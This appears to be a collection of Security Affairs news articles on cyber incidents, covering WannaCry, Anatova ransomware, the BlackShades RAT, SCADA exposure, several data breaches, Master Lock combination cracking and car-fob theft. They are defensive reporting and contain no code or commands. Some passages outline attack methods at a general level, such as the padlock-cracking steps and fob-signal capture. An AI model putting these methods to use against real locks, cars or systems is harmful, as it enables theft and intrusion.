their territory by the self-styled ‘Islamic State’ in Iraq and the Levant (known variously as IS, ISIS or ISIL, and by the Arabic acronym ‘Da’esh’).” states the report. “At present, European citizens are not seriously contemplating the possibility that extremist groups might use chemical, biological, radiological or nuclear (CBRN) materials during attacks in Europe. Under these circumstances, the impact of such an attack, should it occur, would be even more destabilising.”, European law enforcement agencies are facing the most serious terrorist and well-resourced organization of ever., “We are dealing with a very serious, well-resourced, determined international terrorist organisation that is now active on the streets of Europe.” explained Rob Wainwright, head of Europol. “This represents the most serious terrorist threat faced in Europe for 10 years.”, Nomi Bar-Yaacov, Associate Fellow in Chatham House’s International Security Department, explained to the DailyMail that the risk is real., “There is a very real risk of ISIS using unconventional weapons in Europe and beyond.” Nomi Bar-Yaacov., The Western intelligence is trying to monitor Jihadi fighters, especially the for ‘specialist CBRN knowledge’., EU governments have been warned to watch out for ‘other radicalised individuals, who have access to, or work in, sensitive areas’., How is possible to steal CBRN material in Europe?, According to the 2014 Communication of the European Commission on a new EU approach to the detection and mitigation of CBRN-E risks, terrorist organizations have several opportunities to steal CBRN material., The Commission confirmed thefts and misplacements of CBRN material occur on hundreds of occasions each year. Among the dangerous substances there is the sarin, ricin and anthrax., “More than 150 cases of trafficking of radiological and nuclear materials are reported annually to the Incident and Trafficking Database of the International Atomic Energy Agency (IAEA);” states the report., The intelligence is aware that CBRN substances have been illegally smuggled into the European Union, Interpol’s monthly CBRN intelligence reports report numerous examples of attempts to acquire, smuggle or use CBRN materials., Pierluigi Paganini, (Security Affairs – ISIS, terrorism, CBRN) |
5214_59072 | It was a Black Friday for cyber security, organizations and critical infrastructure across at least 74 countries have been infected by the WannaCry ransomware worm, aka WanaCrypt, WannaCrypt or Wcry., Experts from the security firm Avast detected more than 75,000 attacks in 99 countries, most of the infections were observed in Russia, Ukraine, and Taiwan., A real-time map of the infection if available at the following address:, The massive ransomware attack was first observed targeting UK hospitals and Spanish banks, big companies like Telefónica, Vodafone, FedEx has some of their systems infected with the threat that also hit rail stations and universities., The Spanish CERT issued an alert warning the organizations and confirming that the malware was rapidly spreading., , Source Arstechnica, The WannaCry exploits the NSA EternalBlue / DoublePulsar exploits to infect other connected Windows systems on the same network, the malware implements network warm capabilities that allow it to rapidly spread., “The special criticality of this campaign is caused by exploiting the vulnerability described in bulletin MS17-010 using EternalBlue / DoublePulsar, which can infect other connected Windows systems on the same network that are not properly updated. Infection of a single computer can end up compromising the entire corporate network.” states the security alert issued by the CERT., “The ransomware, a variant of WannaCry, infects the machine by encrypting all its files and, using the vulnerability mentioned in the previous paragraph that allows the execution of remote commands through Samba (SMB) and is distributed to other Windows machines in That same network.”, The DOUBLEPULSAR backdoor allows attackers to inject and execute malicious code on a target system, it is installed by leveraging the ETERNALBLUE, an SMBv1 (Server Message Block 1.0) exploit that could trigger an RCE in older versions of Windows (Windows XP to Server 2008 R2)., The WannaCry ransomware spreads via SMB, it encrypts the files on the infected machines and charges $300 or $600 in Bitcoin to restore them., The good news is that malware researchers have discovered a kill switch in the ransomware code. The WannaCry ransomware checks for the existence of a particular domain in order to stop the infection., .@malwareunicorn This is the reason infections are dropping off – it contained a kill switch, that was activated before US woke up. NEW propagation = dead. pic.twitter.com/l4VKZ45kq7, — Kevin Beaumont (@GossiTheDog) May 12, 2017, , The domain was created today by a UK experts at MalwareTechBlog that made a reverse engineering of the code., The Kill Switch domain is iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com, the domain was sinkholed by law enforcement. to a server in California, and the admins of the infected systems reaching out to the dot-com will be notified, we’re told. “IP addresses from our sinkhole have been sent to FBI., , Below the messages displayed when a machine tries to connect it:, “IP addresses from our sinkhole have been sent to FBI and ShadowServer so affected organisations should get a notification soon,” said the researcher. The infosec bod admitted they registered the domain first, then realized it was a kill switch. Still, job done.”, Experts from CISCO Talos group made an interesting analysis of the WannaCry ransomware., “WannaCry does not appear to be only be leveraging the ETERNALBLUE modules associated with this attack framework, it is simply scanning accessible servers for the presence of the DOUBLEPULSAR backdoor. In cases where it identifies a host that has been implanted with this backdoor, it simply leverages the existing backdoor functionality available and uses it to infect the system with WannaCry.” reads the analysis from Talos.”In cases where the system has not been previously compromised and implanted with DOUBLEPULSAR, the malware will use ETERNALBLUE for the initial exploitation of the SMB vulnerability. This is the cause of the worm-like activity that has been widely observed across the internet.”, Below the complete infection process described in the analysis published by the experts at the Talos team:, “An initial file mssecsvc.exe drops and executes the file tasksche.exe. The kill switch domain is then checked. Next, the service mssecsvc2.0 is created. This service executes the file mssecsvc.exe with a different entry point than the initial execution. This second execution checks the IP address of the infected machine and attempts to connect to port 445 TCP of each IP address in the same subnet. When the malware successfully connects to a machine, a connection is initiated and data is transferred. We believe this network traffic is an exploit payload. It has been widely reported this is exploiting recently disclosed vulnerabilities addressed by Microsoft in bulletin MS17-010. We currently don’t have a complete understanding of the SMB traffic, and exactly what conditions need to be present for it to spread using this method.” states the analysis., “The file tasksche.exe checks for disk drives, including network shares and removable storage devices mapped to a letter, such as ‘C:/’, ‘D:/’ etc. The malware then checks for files with a file extension as listed in the appendix and encrypts these using 2048-bit RSA encryption. While the files are being encrypted, the malware creates a new file directory ‘Tor/’ into which it drops tor.exe and nine dll files used by tor.exe. Additionally, it drops two further files: taskdl.exe & taskse.exe. The former deletes temporary files while the latter launches @[email protected] to display the ransom note on the desktop to the end user. The @[email protected] is not in and of itself the ransomware, only the ransom note. The encryption is performed in the background by tasksche.exe.”, Malware samples are listed on GitHub, the page also included addresses of Bitcoin wallets for the malware. A decrypted sample of the WannaCry ransomware is available here:, Wana Decrypt0r core DLL extracted, decrypted, uploaded: by @TheWack0lian pic.twitter.com/YvJGEc03yu, — ? Lauri Love ? (@laurilove) May 12, 2017, , Microsoft has published a security advisory for the threat and an emergency patch for Windows XP., , , , , Pierluigi Paganini, (Security Affairs – WannaCry ransomware, cybercrime) |
455_11684 | According last report published by The European Network and Information Security Agency (ENISA) “ENISA Threat Landscape – Responding to the Evolving Threat Environment” that summarizes principal cyber threats, critical infrastructures represent privileged targets for emerging trends., Different agents such as terrorists, state-sponsored hackers or hacktivists could be interested in attack control systems within a critical infrastructure, the possible impact could be considerable under different perspectives (governments, homeland security, society). Public health, energy production, telecommunication are all sectors exposed to serious risks that have to be protected at any level as described in an efficient cyber strategy., We must be aware that hackers increasingly targeted critical infrastructures of any countries, the department’s Industrial Control Systems-Cyber Emergency Response Team (ICS-CERT) responded to 198 cyber-incidents against critical infrastructures in 2012, while the number of incidents in 2011 was 130 (+52%). The sector that most suffered the attacks in 2012 is the energy, accounting for 41 percent of reported events, followed by water with 15 percent., There are a couple of problems to address for the defense of critical infrastructures against cyber attacks:, Recently the web portal ThreatPost, the Kaspersky news lab service, published an interesting article titled “Shodan Search Engine Project Enumerates Internet-Facing Critical Infrastructure Devices” on the possibility to use the public available info to identify Critical Infrastructure devices., Two critical infrastructure protection specialists, Bob Radvanovsky and Jacob Brodsky of consultancy InfraCritical, have worked in collaboration with the Department of Homeland Security for 9 months to discover all devices presents inside US critical infrastructure and exposed on the web., The situation is very concerning, the two researchers discovered initially 500,000 devices, many of them exposed online without proper security defense, typically protected by poor authentication mechanisms based on default password. Not only critical infrastructures such as communication, energy and water utilities use SCADA devices, also common HVAC systems, traffic control systems and building automation control systems make large use of these devices. SCADA systems are very diffused and DHS tried to restrict the initial list of most relevant systems, identifying a final list of 7,200 devices., To select the potential targets the two specialist haven’t used specific technologies, it was enough to write scripts to conduct automated searches on Shodan search engine, a popular web portal which lists servers, routers, any other network devices exposed online providing useful information to an attacker such as geographic location and OSs version installed., The specialist prepared a suite of scripts that uses more of 600 search terms for the analysis, these terms allow the identification of specific equipment present in the products of dozen manufacturers of SCADA systems., Radvanovsky and Brodsky limited their activities to the identification of the systems without doing penetration testing., Radvanovsky declared:, “The biggest thing is we are trying to assign a number–a rough magnitude–to a problem plaguing the industry for some time now,”. “Until you identify the scope of a problem, no one takes steps to change things. We’re doing it on a beer budget; we hope others confirm our results.”, Brodsky added:, “A lot of these guys want to fix things at 3 a.m. without driving three hours in each direction. It’s worth a lot to them to put it up on the Net without thinking hard about the potential consequences,” “They’ll presume a particular protocol is not well known. These guys think no one will figure it out, but actually, there’s a lot of residual information available where you could figure it out. They’re not as secure as they think they are. That’s why this stuff is naked out there on the Internet. A lot of people believe there is some safety in obscurity. I don’t think they’re right.” “It’s difficult to patch in timely fashion. Ethical hackers don’t realize that when they find a problem, the thing it controls may not be able to be pulled out for a three months,”“Unlike an office, data is not the product; the product is the product. When hackers publish a Metasploit script, they do so to get vendors to fix problem. In this case, it’s not just about the vendor, it’s about the user. It’s not easy to pull things from service. Maybe I can pull something only in the fall or spring, but not in the summer because I need it to be at full capacity. That’s the problem.”, I desire also to highlight the excellent work of a couple of Italian security specialists, Luigi Auriemma and Donato Ferrante, founders of the company ReVuln that published an interesting proof of concept on SCADA systems, “ReVuln – SCADA 0-day vulnerabilities“, and related vulnerabilities., The video published by the researchers is a showcase of some SCADA 0-day exploits owned by the ReVuln security company, the 0-day vulnerabilities are all server-side and remotely exploitable. This video shows issues affecting the following vendors: General Electric, Schneider Electric, Kaskad, ABB/Rockwell, Eaton, Siemens … nobody are secure. Note that many other 0-day vulnerabilities owned by ReVuln affecting other well-known SCADA/HMI vendors have been not included in this video., Luigi Auriemma declared:, “attackers can take control of the machine with the maximum privileges (SYSTEM on Windows) granted by the affected service,”.”They can install rootkits and other types of malware or obtain sensitive data (like passwords used on other computers of the same network) and obviously they can control the whole infrastructure.”, The article proposed by ThreatPost portal also proposes the researches made by another group of experts, Terry McCorkle and Billy Rios, that found “more than 1,000 vulnerabilities in Internet-facing HMI interfaces that translate SCADA data into visualizations of critical infrastructure. More than 90 of those were exploitable flaws, including SQL injection, buffer overflows and more.”, Demonstration of greatest interest on cyber security of the US Government, that fears cyber attacks and their consequences on Homeland Security, is given by programs such as “Perfect Citizen”. The program has the main purpose to explore national utilities to discover security vulnerabilities that could be exploited in case of attack, it will go on at least until September 2014., The Perfect Citizen program was originally reported to be a program to develop a smart network of sensors (named Einstein) to detect cyber attacks against critical infrastructures in both the private and public sector. It is funded by the Comprehensive National Cyber security Initiative and thus far Raytheon, the major American defense contractor and industrial corporation, has received a contract for up to $91 million to establish the project., The DHS desires to sensitize the manager of the structures on the potential risks in case of attacks, suggesting best practices to follow to increase the overall security., , It’s fundamental that any governments will improve cyber strategies to protect SCADA systems, requiring the respect of strict regulation under security perspective to ensure their security and prevent external attacks. Following some good practices to adopt:, Pay attention to the level of security of critical infrastructures is a duty of all, the risks are high and the consequences could be devastating, there is no time to waste., Pierluigi Paganini |
1676_30596 | A significant number of popular websites belonging to media organizations appeared to has been hacked by the hacking collective of Syrian Electronic Army on Thursday., , The apparently hacked website, including The Independent, Telegraph e The Chicago Tribune, CNBC and other popular media agency like the Italian La Repubblica, display the following message, “You’ve been hacked by the Syrian Electronic Army (SEA)”. , , According to the screenshots posted via Twitter by SEA also Dell, Microsoft, Ferrari and Unicef were hit by the hackers. Experts have immediately thought to an hack of customer management platform Gigya, which is used by hundreds of leading brands., In an email from Gigya, visioned by journalists at CNBC, the company confirmed that it is under attack, apparently calls to Gigya domains were redirected to websites controlled by attackers and used to spread the messages. Fortunately the SEA haven’t used the traffic redirection to serve malware on final users, instead it has only spread propaganda messages., , The hackers of SEA team have chosen this date because it is Thanksgiving in the U.S. and probably the majority of Americans are browsing news websites in their spare time., The Syrian Electronic Army supports the Syrian President Bashar al-Assad, in the last years the group hacked several important companies and media agencies, including the BBC, the Associated Press, The Financial Times, The New Your Time and the Guardian, Microsoft and Twitter., The group is politically motivated and many security experts consider its campaigns as part of PSYOPs campaign directed by the Syrian Regime. The Syrian Electronic Army first emerged in May 2011, during the first Syrian uprisings, when it conducted various attacks against social media for pro-Assad propaganda., Stay tuned for more information …, Pierluigi Paganini, (Security Affairs – SEA, Gigya) |
279_7266 | It’s hacking time! Within a few days we saw two attacks that had disastrous consequences, the victims are prominent Formspring portal and the Yahoo Voices service. The Yahoo branch hacked is Yahoo Contributor Network a sort of content farm that paid users to publish their submissions., The Yahoo service allow users to post articles and media such as videos, unfortunately yesterday it has been hacked by the group of hackers called D33DS Company that has stolen and published 453,491 email addresses and passwords in a document named “Owned and Exposed”. The file containing the user’s credentials has been widely distributed via BitTorrent and various file lockers on the web., The D33Ds hackers claim they released the information to show the security leak at Yahoo, and not to realize frauds or for other malicious purposes., The technique used for the data breach is quite simple, another victim of a SQL Injection attack, the event pose again serious reflection of the security level of the major companies that demonstrate their services too vulnerable to cyber attacks., The hackers left the following message;, We hope that the parties responsible for managing the security of this subdomain will take this as a wake-up call, and not as a threat., In this case seems that the user’s credentials were all stored in plain text, if confirmed it explains the responsibilities of the company., It’s happened to company such as Sony and LinkedIN, firms that we wrongly consider as fortresses. Their approach to security is inadequate and groups of hackers have demonstrated it., A data breach exposes the user to several risks, the information stolen in fact could be used directly to exploit sensible information or used for further attacks. Risky user’s behaviours, like the use of an unique password for several services on the web, could open the door to a chain of hacks that could create great damage., Of course the first suggestion for the user of Yahoo Voice is to change his password for all those services that share the same credentials., The first question to submit to the security managers of Yahoo regarding the incident is related to the password management, how is possible that a so huge quantity of passwords has been leaked and exposed in plain text in a short time?, Which were the defense systems implemented and how is possible that none security audit has discovered the exploited vulnerabilities considering its simplicity?, Following the official statement published by Yahoo:, At Yahoo we take security very seriously and invest heavily in protective measures to ensure the security of our users and their data across all our products. We confirm that an older file from Yahoo Contributor Network (previously Associated Content) containing approximately 450,000 Yahoo and other company users names and passwords was compromised yesterday, July 11. Of these, less than 5 percent of the Yahoo accounts had valid passwords. We are taking immediate action by fixing the vulnerability that led to the disclosure of this data, changing the passwords of the affected Yahoo users and notifying the companies whose users’ accounts may have been compromised. We apologize to all affected users. We encourage users to change their passwords on a regular basis and also familiarize themselves with our online safety tips at security.yahoo.com., Are we really faced with a catastrophe? which are the risks for all Yahoo users?, It’s clear whose log-in credentials have been stolen but seem highly likely that the exposed info are only related to Yahoo’s contributors that write contents for either Associated Content or Yahoo. The company also added that fewer than 5 percent of the passwords disclosed are currently valid., , , Of course the huge quantity of credentials stolen could also be used by researchers to elaborate statistics, really interesting the one proposed by ESET and available on PastBin, following an useful extract:, , and also frequency of the various domains used for e-mail addresses, , The true mystery, There is also a strange aspect of the data breach that could be considered really worrying, in the list of password revealed by D33Ds groups are contained also credentials there are not belonging to Yahoo but that appear to be related to other e-mail services, including Gmail, AOL and Hotmail., Maybe in the past the Associated Content allowed users to use e-mail addresses as their usernames to log-in to the service, a classic example of cross authentication mechanism already targeted in the last months., To avoid a domino effect it’s strongly suggested to promptly alert those users, their email accounts may have already been compromised., Pierluigi Paganini, References, |
2233_36402 | Have you ever gone in the Gym and after a long and tiring workout forget your padlock numbers? I sure did, but next time I will not call the janitor, I will try to hack into it and find my combination because now there is an easy way to do it., This can be done with Master PadLock branded padlocks (due a vulnerability) and allows you to learn the combination in around eight tries., To accomplish this, you need to follow the instructions provided by Samy Kamkar (@SamyKamkar) and use the calculator created by him, and all this involves, you lift up the lock shackle with your index finger and turning the dial starting from zero, clockwise, like you can see in the following image., , “Master Lock combination padlocks have been known to be vulnerable to an attack that reduces their 64,000 possible combinations down to 100. I’ve devised a new attack for cracking any Master combo lock that simplifies the process and reduces the amount of work down to only 8 combinations. Use this calculator in conjunction with the instructions below to find the 8 possible combinations for your Master combo lock.” wrote Samy Kamkar., Samy Kamkar published a video PoS that explain the steps to do:, , Find the “First Locked Position”, Find the “Second Locked Position”, Find the “Resistant Location”, Input the Numbers into My Calculator, , Find the Right “Third Digit”, Test Out the 8 Combinations on Your Lock, Standard Instructions for Opening a Combination Lock, Just for curiosity, Samy Kamkar is notorious hackers that proposed numerous interesting topics:, About the Author , Pierluigi Paganini, , (Security Affairs – Master padlock, @SamyKamkar) |
7067_75478 | , , , , , , Further details on the malware, including the IoCs are reported in the original analysis published by Marco Ramilli, About the author: Marco Ramilli, Founder of Yoroi, I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems., , I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans, Edited by Pierluigi Paganini, (Security Affairs – malware) |
2458_38067 | A New York federal court sentenced Alex Yücel (a.k.a. “marjinz“), a Swedish man, who is the alleged mastermind behind the BlackShades Remote Access Tool (RAT). BlackShades is a popular RAT in the criminal underground that infected more than 500,000 computers worldwide. Yücel was sentenced to almost five years in a U.S. prison on Tuesday., BlackShades allow to gain complete control over the victim’s machine, it was designed to spy on victims by stealing user credentials and sensitive data, capturing keystrokes and instant messaging messages, and much more., , The 25 years-old Alex Yücel managed the “BlackShades” criminal ring that offered the notorious RAT to several thousands of criminals and customers in more than 100 countries. Yucel is the co-author of the BlackShades RAT, the other developer is the US man Michael Hogue, who already pleaded guilty to the same accusation. Hogue is scheduled to be sentenced on July 24., The RAT was typically advertised on several hacking forums and “marketed as a product that conveniently combined the features of several different types of hacking tools.”, The BlackShades was very cheap, it was offered for a price ranging from $40 to $50. In 2012, Citizen Lab and EFF reported the notorious Blackshades was used in targeted attacks against the opposition forces in Syria., According to the U.S. Department of Justice, Yucel was sentenced to four and three-quarter years in prison by U.S. District Judge Kevin Castel after pleading guilty in February. The man was also sentenced to a penalty of $200,000., Yucel has already served 13 months in New York prison and one month in Moldova custody, where was jailed after its arrest in November 2013., The man said he was sorry for his crime, asked the judge for leniency., However, Castel sentenced him to 57 months behind bars along with a penalty of $200,000, saying that “the message must go forth that this is a serious crime.”, “We rely on our computers as an extension of how we live our lives,” Castel said in a press release. “This is spreading misery to the lives of thousands of online people. That’s what this is.”, Last year, a joint effort of law enforcement from Europe and US allowed authorities to identify and arrest more than 100 individuals involved in the development and commercialization of the BlackShades RAT., Law enforcement also seized 1,900 command and control (CnC) domains., Pierluigi Paganini, (Security Affairs – BlackShades, cybercrime) |
4433_52833 | This data leak is considered by security experts one of the most severe due to the nature of the target, the Australian Red Cross Blood Service. The sensitive database was discovered on October 24 by a security expert that was scanning the Web for exposed web servers., One of its third-party service providers inadvertently exposed a backup database containing the personal details of 550,000 individuals., The database remained accessible online between September 5 and October 25., , The man who discovered the database reported his discovery to the popular security expert Troy Hunt who runs the data breach notification service haveibeenpwned.com., The 1.74Gb database contains 1.3 million records containing the name of donors, gender, date of birth, country of birth, physical and email addresses, phone number, blood type, type of donation, donation dates, and eligibility answers., “In the Red Cross’ case, the data that was ultimately leaked was a database backup. That 1.74GB was simply a mysqldump file that had everything in it. Taking a database backup is not unusual (in fact it’s pretty essential for disaster recovery), it’s what happened next that was the problem.” wrote Troy Hunt in a blog post., “The database backup was published to a publicly facing website. This is really the heart of the problem because no way, no how should that ever happen. There is no good reason to place database backups on a website, let alone a publicly facing one. There are many bad reasons (usually related to convenience), but no good ones.”, Hunt reported the issue to the Red Cross and the ausCERT, meanwhile, the Australian Red Cross Blood Service reported the incident to the Australian Cyber Security Centre, Federal Police and the Office of the Information Commissioner., According to the Australian Red Cross Blood Service, the database contains registration information for 550,000 individuals who had donated between 2010 and 2016., “This file contained registration information of 550,000 donors made between 2010 and 2016. The file was part of an online application to give blood and information such as names, addresses, dates of birth and some personal details are included in the questionnaire.” states the announcement published by the organization., It is still unclear is someone else accessed the database, anyway IDCARE, Australia and New Zealand’s national identity support service have determined that there is low risk for the donors., Pierluigi Paganini, (Security Affairs – Australian Red Cross Blood Service, data leak) |
3549_45746 | The US Department of Justice (DoJ) announced it has broken into San Bernardino shooter‘s iPhone and it had accessed encrypted stored on the device., After a long battle between Apple and the FBI, the DoJ now no longer needs the company to help unlock the iPhone 5C used by one of the San Bernardino terrorists., The DoJ had originally sought to force Apple in providing a method to access data on the terrorist’ iPhone device, a couple of weeks ago DOJ released a brief filing that threatens to force Apple to hand over the iOS source code if it will not help the FBI in unlocking the San Bernardino shooter ’s iPhone., Now the El Reg published a filing made Monday to the Central California District Court that confirms prosecutors have successfully extracted data from the iPhone., “The government has now successfully accessed the data stored on Farook’s iPhone and therefore no longer requires the assistance from Apple Inc. mandated by the court’s order compelling Apple Inc. to assist agents in search, dated February 16, 2016,” reads the DoJ request., , The DoJ hasn’t provided details on the procedure used to break into the San Bernardino shooter ‘s iPhone, nor revealed the name of the firm that supported the FBI in the operation., Last week security experts speculated the involvement of the Israeli mobile security firm Cellebrite., Despite the intense legal battle between Apple and FBI, security experts have always confirmed the existence of methods to unlock the iPhone devices., Data could have been accessed with either hardware or software techniques, this means that in the future the FBI could use the same methods in other cases, as explained by the security expert Jonathan Ździarski., If the method used in this case turns out to be a software method, from what I see of the OS, the method could work on newer devices too., If the method used in this case turns out to be a software method, from what I see of the OS, the method could work on newer devices too., — Jonathan Ździarski (@JZdziarski) 28 marzo 2016, , A law enforcement official, speaking to the CNN on condition of anonymity, explained it was “premature” to say whether this method works on other Apple devices. He added that the method used by law enforcement worked on this particular phone, an iPhone 5C running a version of iOS 9 software., Snowden always declared that the US Government has the technology to crack the security measures implemented by Apple., Snowden in a video call at Blueprint for a Great Democracy conference accused the FBI of lying defining its declaration as absurd, in reality, he used a more colorful expression., “The FBI says Apple has the ‘exclusive technical means’ to unlock the phone,” said Snowden in video conference “Respectfully, that’s horse sh*t.”, , On the same day, Snowden shared via Twitter a link to an American Civil Liberties Union blog post titled “One of the FBI’s Major Claims in the iPhone Case Is Fraudulent,” which explains that the FBI has the ability to bypass iPhone protection mechanism., The fact that the FBI was able to successfully crack the phone without Apple’s help demonstrates that tech giants need to improve their efforts to protect users’ privacy., Pierluigi Paganini, (Security Affairs – FBI, San Bernardino shooter ‘iphone) |
7674_80333 | The name Anatova is based on a name in the ransom note that is dropped on the infected systems., The Anatova ransomware outstands for its obfuscation capabilities and ability to infect network shares, it has a modular structure that allows adding new functions to the malware., “During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network.” reads the analysis published by McAfee., Malware experts from McAfee discovered the Anatova ransomware on a private peer-to-peer network. Anatova uses the icon of a game or application to trick victims into download and execute it., The malware uses a manifest to request admin rights, it implements multiple efficient protection techniques against static analysis, it makes a few checks to avoid running in a sandbox., The malware demands $700 in ransom to decrypt the data., The largest number of infections was observed in the United States, followed by Germany, Belgium, France, and the UK. It is interesting to note that the malware doesn’t infect systems from a list of the countries that includes all CIS countries, Syria, Egypt, Morocco, Iraq, and India., , “It’s quite normal to see the CIS countries being excluded from execution and often an indicator that the authors might be originating from one of these countries.” continues the experts. “In this case it was surprising to see the other countries being mentioned. We do not have a clear hypothesis on why these countries in particular are excluded.”, The ransomware looks for files that are smaller than 1 MB and avoid encrypting files of the operating system. Anatova also checks for network shares, this is particularly dangerous in large organizations because a single infection can cause severe problems to several systems in the company network., Each Anatova sample uses its own key, this implies that there’s no master key available that could be used to decrypt all victims files. , After encrypting the files, the ransomware will clean the memory of the key, IV, and private RSA key values, to prevent anyone dumping this information from memory and use it to decrypt files. , “When all this is done, Anatova will destroy the Volume Shadow copies 10 times in very quick succession. Like most ransomware families, it is using the vssadmin program, which required admin rights, to run and delete the volume shadow copies.” states McAfee., According to McAfee, the Anatova ransomware was developed by skilled vxers, the researchers believe it is a prototype being tested and has the potential to become a serious threat., Additional details, including IoCs. are reported in the analysis published by McAfee., Pierluigi Paganini, (SecurityAffairs – Anatova ransomware, cybercrime), , |
7291_77119 | The vulnerability was discovered by the researcher Lucas Leong of the Trend Micro Security Research team that publicly disclosed an unpatched zero-day vulnerability in all supported versions of Microsoft Windows., The flaw is an out-of-bounds (OOB) write in the JET Database Engine that could be exploited by a remote attacker to execute arbitrary code on the vulnerable systems., The zero-day vulnerability has received CVSS score of 6.8 and resides in the management of indexes in JET. An attacker can use specially crafted data in a database file to trigger a write past the end of an allocated buffer., Experts highlighted that the exploitation of the flaw requires user interaction, the attackers have to trick victims into opening a malicious file that would trigger the bug., The specially crafted file has to contain data stored in the JET database format., Lucas Leong reported the flaw to Microsoft in early May 2018, he expected the flaw would have been fixed with the September 2018 Patch Tuesday set of security updates, but Microsoft did not fix it., “Today, we are releasing additional information regarding a bug report that has exceeded the 120-day disclosure timeline” stated the blog post published by ZDI., “An out-of-bounds (OOB) write in the Microsoft JET Database Engine that could allow remote code execution was initially reported to Microsoft on May 8, 2018. An attacker could leverage this vulnerability to execute code under the context of the current process, however it does require user interaction since the target would need to open a malicious file. As of today, this bug remains unpatched.”, , At the end of September, 0patch community released an unofficial patch for the Microsoft JET Database Engine zero-day vulnerability disclosed by Trend Micro’s Zero Day Initiative-, Last week Microsoft addressed the flaw as part of its Patch Tuesday updates., 0patch now issued another micropatch to correct the official Microsoft patch that according to the experts is incomplete., The root cause of the problem resides in the Window’s core dynamic link libraries “msrd3x40.dll.”, “As expected, the update brought a modified msrd3x40.dll binary: this is the binary with the vulnerability, which we had micropatched with four CPU instructions (one of which was just for reporting purposes).” wrote Mitja Kolsek, a researcher with the 0patch team. , “The version of msrd3x40.dll changed from 4.0.9801.0 to 4.0.9801.5 and of course its cryptographic hash also changed – which resulted in our micropatch for this issue no longer getting applied to msrd3x40.dll.”, Experts pointed out that the official patch doesn’t fix the vulnerability, but only limited it. The micropatch works on fully updated 32-bit and 64-bit Windows 10, Windows 8.1, Windows 7, Windows Server 2008 and Windows Server 2012, as well as other Windows versions that share the same version of msrd3x40.dll., “So we BinDiff-ed the patched msrd3x40.dll to its vulnerable version and reviewed the differences. At this point we will only state that we found the official fix to be slightly different to our micropatch, and unfortunately in a way that only limited the vulnerability instead of eliminating it.” continues Kolsek., “We promptly notified Microsoft about it and will not reveal further details or proof-or-concept until they issue a correct fix.”, 0patch reported the problem to Microsoft and it plans to publish the official proof-of-concept code after the tech giant will fix it., Pierluigi Paganini, (Security Affairs – CVE-2018-8423, hacking) |
3711_47027 | The Channel 2 journalist and Consumer Investigator Jim Strickland investigated a mysterious car theft after he received home security camera footage from a viewer in Walton County., , It seems that thieves are using a new electronic equipment to open the driver-side door of locked cars., The analysis of the video revealed that the car thief was holding something in his hand so the journalist decided to ask the option of an expert, the special agent with the National Insurance Crime Bureau, Dave Renau., “It’s a like device that’s being used to pop open the locks by reading the fob signal that communicates between the fob and the vehicle itself,” Renaud told Strickland., Renaud also added that the NICB investigated similar cases from Chicago, Long Beach and Corona, California., , In all the cases the car thief approach locked, parked vehicles with a mysterious device in his hand and just by clicking the a button is able to open the door., A dashboard camera in Steve Doi’s car captured a crook holding a black device before entering the car and making off with expensive electronics., “On the video, you can hear the door locks go, ‘Blip,’” Doi said the WSB-TV., At this point, Strickland requested the support of a hacker, the popular expert Samy Kamkar., In August 2015, Samy Kamkar presented RollJam, a $30 device designed to exploit a design flaw in the protocol that determines how keys communicate with car and unlock the majority of car doors., , “What’s your confidence level that you’re going to be able to break into my rental car?” Strickland asked Samy Kamkar. “I’m fairly confident I’ll be able to break in,” Kamkar told Strickland., Kamkar agreed to demonstrate how to break into a car without a key, exactly like a car thief., Kamkar explained that the hackers capture the radio-frequency signal of the fob, he made it with his laptop, in order to analyze it., “Basically, I’m looking at the signal that the key fob sends to the vehicle,” Kamkar told Strickland., Once he detected the signal he programs a circuit board to intercept the coded unlock signal., Kamkar used the coded unlock signal to his device in order to unlock the car door by pushing a button., “Virtually every vehicle is vulnerable to the same type of attacks,” Kamkar explained to Strickland., The device used by Kamkar is not able to start the ignition, but Atlanta police confirmed to have investigated cases in which the car thief used a device that has done it., The detective Steven O’Hare told Strickland that he observed also a case in which the car thief opened the door of the vehicle in a classic way by popping a door handle off, but once inside, he used a particular electronic control module. Then he plugged it into the car On-board diagnostics (OBD) port to start the car., Strickland also reported the testimony of a popular car thief who confirmed the existence of such a device, the same one that allowed the criminal to steal at least 16 different SUV models., Pierluigi Paganini, (Security Affairs – car thief, cyber crime) |
125_2869 | The Mehr News Agency has published a declaration of brigadier general Gholamreza Jalali collected during an official conference that demonstrate the high interest in warfare of Iran., “The US is downsizing its army for bigger cyber defense infrastructure. So countries like Iran also have to set up and upgrade their cyber defense headquarters and even build a cyber army.”, The military has discussed regarding the intention of its country to develop a very effective cyber strategy, a must to reply to the cyber attacks which have been conducted against Iran. Of course the reference to the cyber weapon Stuxnet it’s clear, the virus has been developed with the purpose to damage the Iranian nuclear program., Iran’s commitment to developing a cyber strategy, indicates that the country is investing in the sector also in terms of cyber offense, this consideration must alarm the West countries and all those states considered enemies of Tehran. As said many times the effect of the use of cyber weapons could be devastating in relation to the real state of critical infrastructuresthat western countries have discovered suddenly vulnerable. Stuxnet marked a turning point in revealing all the limitations of defense capabilities of those who presumably created the malware. Industrial sabotage made using cyber weapon is a reality of this days, a military option that can be adopted on large scale against critical infrastructures. I share the same conviction of Eugene Kaspersky that during event in Cancun has declared:, “I’m afraid yes.” Because so much of our physical infrastructure is internet-connected and computer-controlled, it’s possible to stop critical equipment from working., … it’s a shame I did not have the opportunity to hear him live., The cyber weapons have several advantages in adopting them, mainly:, We are confronted in recent years with a new arms race for cyber weapons development, governments around the world compete for the project of innovative weapons, a cultural revolution which is able to put on the same plane superpowers as U.S. and China and nations have always have considered minor as Iran and Bangladesh. The consequence is the redrawing of a new political map in which countries join forces to deal with such giants as Israel., The only way to avoid catastrophic event is to make a strong reality cooperation between states, only joining their cyber capability is possible to guarantee a mutual protection against cyber threats., 